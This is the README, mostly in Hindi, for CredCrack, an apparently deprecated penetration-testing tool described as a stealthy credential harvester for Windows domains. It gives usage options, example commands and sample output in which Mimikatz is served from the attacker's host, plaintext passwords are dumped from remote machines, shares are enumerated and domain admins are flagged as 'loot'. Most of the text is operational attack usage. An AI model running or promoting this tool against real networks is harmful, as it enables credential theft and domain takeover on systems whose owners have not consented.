jobroche/credcrackएक तेज़ और गुप्त क्रेडेंशियल हार्वेस्टर
⛔ [अप्रचलित]. यह रेपो अब रखरखाव नहीं किया जा रहा है। कृपया CrackMapExec का उपयोग करने पर विचार करें।
CredCrack एक तेज़ और गुप्त क्रेडेंशियल हार्वेस्टर है। यह मेमोरी और स्पष्ट टेक्स्ट में पुनरावर्ती रूप से क्रेडेंशियल निकालता है। पूरा होने पर, CredCrack क्रेडेंशियल को पार्स और आउटपुट करेगा, साथ ही प्राप्त किसी भी डोमेन प्रशासक की पहचान करेगा। CredCrack में शेयर एक्सेस को सूचीबद्ध और गणना करने की क्षमता भी है, और हाँ, यह थ्रेडेड है!
CredCrack का परीक्षण किया गया है और यह काली लिनक्स में मूल रूप से पाए जाने वाले उपकरणों के साथ चलता है। CredCrack पूरी तरह से /var/www निर्देशिका के अंतर्गत PowerSploit की "Invoke-Mimikatz.ps1" पर निर्भर करता है। यहाँ Invoke-Mimikatz डाउनलोड करें
usage: credcrack.py [-h] -d DOMAIN -u USER [-f FILE] [-r RHOST] [-es]
[-l LHOST] [-t THREADS]
CredCrack - A stealthy credential harvester by Jonathan Broche (@g0jhonny)
optional arguments:
-h, --help show this help message and exit
-f FILE, --file FILE File containing IPs to harvest creds from. One IP per
line.
-r RHOST, --rhost RHOST
Remote host IP to harvest creds from.
-es, --enumshares Examine share access on the remote IP(s)
-l LHOST, --lhost LHOST
Local host IP to launch scans from.
-t THREADS, --threads THREADS
Number of threads (default: 10)
Required:
-d DOMAIN, --domain DOMAIN
Domain or Workstation
-u USER, --user USER Domain username
उदाहरण:
./credcrack.py -d acme -u bob -f hosts -es
./credcrack.py -d acme -u bob -f hosts -l 192.168.1.102 -t 20
./credcrack.py -r 192.168.1.100 -d acme -u bob --es
Password:
---------------------------------------------------------------------
CredCrack v1.1 by Jonathan Broche (@g0jhonny)
---------------------------------------------------------------------
[*] Validating 192.168.1.102
[*] Validating 192.168.1.103
[*] Validating 192.168.1.100
-----------------------------------------------------------------
192.168.1.102 - Windows 7 Professional 7601 Service Pack 1
-----------------------------------------------------------------
OPEN \\192.168.1.102\ADMIN$
OPEN \\192.168.1.102\C$
-----------------------------------------------------------------
192.168.1.103 - Windows Vista (TM) Ultimate 6002 Service Pack 2
-----------------------------------------------------------------
OPEN \\192.168.1.103\ADMIN$
OPEN \\192.168.1.103\C$
CLOSED \\192.168.1.103\F$
-----------------------------------------------------------------
192.168.1.100 - Windows Server 2008 R2 Enterprise 7601 Service Pack 1
-----------------------------------------------------------------
CLOSED \\192.168.1.100\ADMIN$
CLOSED \\192.168.1.100\C$
OPEN \\192.168.1.100\NETLOGON
OPEN \\192.168.1.100\SYSVOL
[*] Done! Completed in 0.8s
./credcrack.py -f hosts -d acme -u bob -l 192.168.1.100
Password:
---------------------------------------------------------------------
CredCrack v1.1 by Jonathan Broche (@g0jhonny)
---------------------------------------------------------------------
[*] Setting up the stage
[*] Validating 192.168.1.102
[*] Validating 192.168.1.103
[*] Querying domain admin group from 192.168.1.102
[*] Harvesting credentials from 192.168.1.102
[*] Harvesting credentials from 192.168.1.103
The loot has arrived...
__________
/\____;;___\
| / /
`. ())oo() .
|\(%()*^^()^\
%| |-%-------|
% \ | % )) |
% \|%________|
[*] Host: 192.168.1.102 Domain: ACME User: jsmith Password: Good0ljm1th
[*] Host: 192.168.1.103 Domain: ACME User: daguy Password: P@ssw0rd1!
1 domain administrators found and highlighted in yellow above!
[*] Cleaning up
[*] Done! Loot may be found under /root/CCloot folder
[*] Completed in 11.3s
मुझसे @g0jhonny पर संपर्क करें, अगले अपडेट में आप जो भी प्रश्न या सुविधाएं देखना चाहते हैं। बग के लिए एक मुद्दा सबमिट करें!
CredCrack निम्नलिखित व्यक्तियों के योगदान के बिना संभव नहीं होता। आप सभी रॉकस्टार हैं! @JosephBialek, @brav0hax, @altonjx और बाकी सभी! इस स्क्रिप्ट को बेहतर बनाने के लिए आपके सभी योगदानों और प्रतिक्रिया के लिए धन्यवाद, उन्हें आते रहने दें!